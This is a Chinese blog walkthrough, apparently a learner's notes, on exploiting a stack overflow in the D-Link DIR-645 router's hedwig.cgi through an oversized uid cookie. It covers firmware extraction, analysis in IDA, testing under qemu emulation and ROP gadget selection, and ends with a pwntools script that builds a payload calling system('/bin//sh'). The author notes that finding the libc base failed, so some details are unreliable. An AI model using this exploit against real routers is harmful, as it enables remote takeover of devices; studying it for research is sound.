Contents
  1. 1. 固件提取
  2. 2. 分析
  3. 3. 利用

固件下载地址:https://rebyte.me/en/d-link/89510/file-592084/ (这是815,我用的645)
POC:https://www.exploit-db.com/exploits/33863
从poc可以看出漏洞存在于hedwig.cgi文件中,通过这个脚本传递一个超长cookie导致栈溢出。

固件提取

1
2
3
4
5
6
$ unzip DIR645A1_FW103B11.zip
$ binwalk -Me DIR645A1_FW103B11.bin

$ cd _DIR645A1_FW103B11.bin.extracted/
$ sudo find ./ -name hedwig.cgi
./squashfs-root/htdocs/web/hedwig.cgi

到目标文件夹下

1
2
3
4
5
$ ls -l ./hedwig.cgi 
lrwxrwxrwx 1 kk kk 14 Apr 27 02:14 ./hedwig.cgi -> /htdocs/cgibin
OR
$ file hedwig.cgi
hedwig.cgi: broken symbolic link to /htdocs/cgibin

hedwig.cgi是一个指向/htdocs/cgibin的符号链接,所以我们用ida分析一下cgibin

分析

直接查找字符串HTTP_COOKIE,有两处引用。

查看这两个part,在hedwigcgi_main函数中发现危险函数sprintf
且cookie要以uid=···的形式才能被接收

但是还不确定是不是由此导致的溢出,进行测试…【初学踩坑,一定要将qemu放入squashfs-root目录下,记得选择好qemu类型】
否则会出现一下问题:

1
2
3
4
5
没有在squashfs-root目录下:
/lib/ld-uClibc.so.0: No such file or directory
-------------------------------------------------
qemu-mips/mipsel选择错误:
./cgibin: Invalid ELF image for this architecture
1
$ cp $(which qemu-mipsel-static) ./

然后附加调试

1
$ sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=`python -c "print 'uid=123'+'A'*0x600"` -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="0.0.0.0" -g 1234 ./htdocs/web/hedwig.cgi

pwndbg

1
2
3
pwndbg> set architecture mips

pwndbg> target remote localhost:1234

出现溢出

会报错

1
2
3
4
HTTP/1.1 200 OK
Content-Type: text/xml

<hedwig><result>FAILED</result><message>

错误原因是程序需要打开某tmp文件,但是我们没有这个文件。
真实的路由环境中是否有这个目录,会导致模拟和现实中漏洞利用存在差异,导致模拟成功而现实中却失败,我们通过打开成功或失败后执行结果的差异性来判断真实路由器中是否存在该目录。
刚才是没有tmp目录的情况,所以我们手动创建一个/var/tmp目录,再次测试。如果成功打开tmp文件,在IDA查看程序流执行到最后还是会有sprintf危险函数。(不知道是我创建的不对还是咋的…❗❓❓❓还是会报错,不过实际上确实存在/var/tmp

故两处漏洞真正有效的是第二次溢出。

所以将输入改很大进行测试(cyclic 1500)

1
sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=`python -c "print 'uid=123'+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaao'"` -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="0.0.0.0" -g 1234 ./htdocs/web/hedwig.cgi
1
2
pwndbg> cyclic -l 0x6b61616b
1040

找到了偏移
使用ROP,首先找到libc基地址,gdb中通过

1
2
3
vmmap

i proc mappings [进程号]

但是我这些都有问题….找不到,但是先继续往下做吧

在问题函数hedwigcgi_main的最后

可以看出整个栈空间寄存器的位置,以此来进行构造。
我们希望调用system("/bin/sh"),所以首先需要找到system函数,将libc.so文件加载入IDA,找到system地址。

寻找gadget来构造调用system,用到了mipsrop,启用mipsrop后

1
2
3
4
5
6
7
8
9
10
11
12
Python>mipsrop.stackfinders()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0000B814 | addiu $a1,$sp,0x168+var_150 | jalr $s1 |
| 0x0000B830 | addiu $a1,$sp,0x168+var_B0 | jalr $s1 |
| 0x0000DEF0 | addiu $s2,$sp,0xC8+var_B8 | jalr $s4 |
| 0x00013F74 | addiu $s1,$sp,0x50+var_38 | jalr $s4 |
| 0x00014F28 | addiu $s1,$sp,0x50+var_38 | jalr $s4 |
| 0x000159CC | addiu $s5,$sp,0x170+var_160 | jalr $s0 |
| 0x00015B6C | addiu $s2,$sp,0x2A8+var_290 | jalr $s0 |
.........................

查看过后,发现0x000159CC

1
2
3
4
5
6
7
【rop1】
.text:000159CC addiu $s5, $sp, 0x170+var_160
.text:000159D0 move $a1, $s3
.text:000159D4 move $a2, $s1
.text:000159D8 move $t9, $s0
.text:000159DC jalr $t9 ; mempcpy
.text:000159E0 move $a0, $s5

可以通过"/bin/sh" -> $sp -> $s5 -> $a0
system+base_addr -> $s0 -> $t9实现
因为漏洞在sprintf时,它会因为00截断,而我们的system地址存在\x00坏字符,我们可以通过先将地址-1避免坏字符,再通过gadget+1操作恢复,继续查找让 $s0+1 的操作

1
2
3
4
5
6
7
8
Python>mipsrop.find("addiu $s0,1")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000158C8 | addiu $s0,1 | jalr $s5 |
| 0x000158D0 | addiu $s0,1 | jalr $s5 |
| 0x0002374C | addiu $s0,1 | jalr $fp |
..........................

第一个就非常符合我们的操作

1
2
3
4
【rop2】
.text:000158C8 move $t9, $s5
.text:000158CC jalr $t9
.text:000158D0 addiu $s0, 1

首先控制好$s0为system-1,$s5为rop1,然后控制$ra为rop2,跳转进入后会跳转到$s5->$t9即rop1,同时$s0+1,即还原system地址,rop1执行system

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python

from pwn import *
context.endian="little"
context.arch="mips"

# base_addr = 0x767e9000
base_addr = 0x76738000
system_addr = base_addr + 0x53200
rop1 = base_addr + 0x159CC # addiu $s5,$sp,0x170+var_160 | jalr $s0 |
rop2 = base_addr + 0x158C8 # addiu $s0,1 | jalr $s5 |

padding = 'uid=' + 'a' * 1007 # 1040+3-4*9
padding += p32(system_addr-1) # s0
padding += 'a' * 4 # s1
padding += 'a' * 4 # s2
padding += 'a' * 4 # s3
padding += 'a' * 4 # s4
padding += p32(rop1) # s5
padding += 'a' * 4 # s6
padding += 'a' * 4 # s7
padding += 'a' * 4 # fd
padding += p32(rop2) # ra
padding += 'a' * 0x10
padding += '/bin//sh'

with open("payload",'wb') as f:
f.write(padding)
f.close()
1
2
3
$ python exp.py
$ sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=20
-E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$(<payload) -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="0.0.0.0" -g 1234 ./htdocs/web/hedwig.cgi

参考:
https://ray-cp.github.io/archivers/router_vuln_book_note#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
https://xz.aliyun.com/t/6808#toc-8